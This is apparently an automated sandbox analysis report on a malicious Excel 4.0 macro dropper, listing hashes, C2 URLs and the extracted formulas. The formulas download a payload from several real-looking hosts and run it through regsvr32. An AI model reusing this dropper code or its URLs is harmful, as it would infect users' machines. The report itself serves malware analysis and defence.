90e354b4a9385347b268ff122aea9e9eff61d4771428dc6c8d8d5ab1a440e13c

General

Target

90e354b4a9385347b268ff122aea9e9eff61d4771428dc6c8d8d5ab1a440e13c
Size

51KB
Sample

241120-vjc3razana
MD5

ad68c4e955568fade90a85a084dc6fc1
SHA1

c87fa48c457dbfe95c7b3d121829c9f854ac5fdc
SHA256

90e354b4a9385347b268ff122aea9e9eff61d4771428dc6c8d8d5ab1a440e13c
SHA512

faf114677459249a7c994ba6c846c82793c621df382b22b4dfea7f039a93a019db5f8ab0a828bbedeb7906b5be58cf9969775118b04e3affadd17966368bd5bd
SSDEEP

768:GICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:GItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm

Score

10^/10

discovery macro xlm

Rule

Excel 4.0 XLM Macro

C2

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/

http://henrysfreshroast.com/0Rq5zobAZB/

http://185.210.144.149/app/1BKfC3id6jsiH0MC/

http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/

http://45.76.178.115/sample_sticker/tihOPhaF1l0V/

http://abinsk.com/cgi-bin/fm63rXkG5Y/

http://academicinst.com/wp-includes/44ZVeVQBkeOG/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()

Language

xlm4.0

Source

URLs

xlm40.dropper

http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/